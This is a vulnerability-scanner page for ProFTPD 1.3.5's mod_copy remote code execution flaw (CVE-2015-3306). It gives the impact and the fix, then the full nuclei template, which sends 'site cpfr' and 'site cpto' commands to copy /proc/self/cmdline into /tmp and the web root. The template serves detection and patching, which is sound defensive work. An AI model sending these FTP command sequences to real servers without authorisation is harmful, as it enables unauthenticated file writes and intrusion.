ProFTPd - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-10-08; known to be used by ransomware.

criticalseverity

10CVSS score

99.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

ProFTPD 1.3.5 contains a remote code execution vulnerability via the mod_copy module which allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code with the privileges of the ProFTPd process.

Fix

Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later.

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: contains in raw "Copy successful"

Run it with nuclei: nuclei -id CVE-2015-3306 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-3306

info:
  name: ProFTPd - Remote Code Execution
  author: pdteam
  severity: critical
  description: ProFTPD 1.3.5 contains a remote code execution vulnerability via the mod_copy module which allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code with the privileges of the ProFTPd process.
  remediation: Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later.
  reference:
    - https://github.com/t0kx/exploit-CVE-2015-3306
    - https://www.exploit-db.com/exploits/36803/
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157053.html
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157054.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3306
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2015-3306
    cwe-id: CWE-284
    epss-score: 0.99497
    epss-percentile: 0.99944
    cpe: cpe:2.3:a:proftpd:proftpd:1.3.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: proftpd
    product: proftpd
    shodan-query: cpe:"cpe:2.3:a:proftpd:proftpd"
  tags: cve2015,cve,network,ftp,rce,proftpd,edb,tcp,vuln,kev,vkev
tcp:
  - host:
      - "{{Hostname}}"
    port: 21
    inputs:
      - data: "site cpfr /proc/self/cmdline\r\n"
        read: 1024

      - data: "site cpto /tmp/.{{randstr}}\r\n"
        read: 1024

      - data: "site cpfr /tmp/.{{randstr}}\r\n"
        read: 1024

      - data: "site cpto /var/www/html/{{randstr}}\r\n"
    read-size: 1024
    matchers:
      - type: word
        part: raw
        words:
          - "Copy successful"

References

Use this check only on systems you are authorised to test. Where the data comes from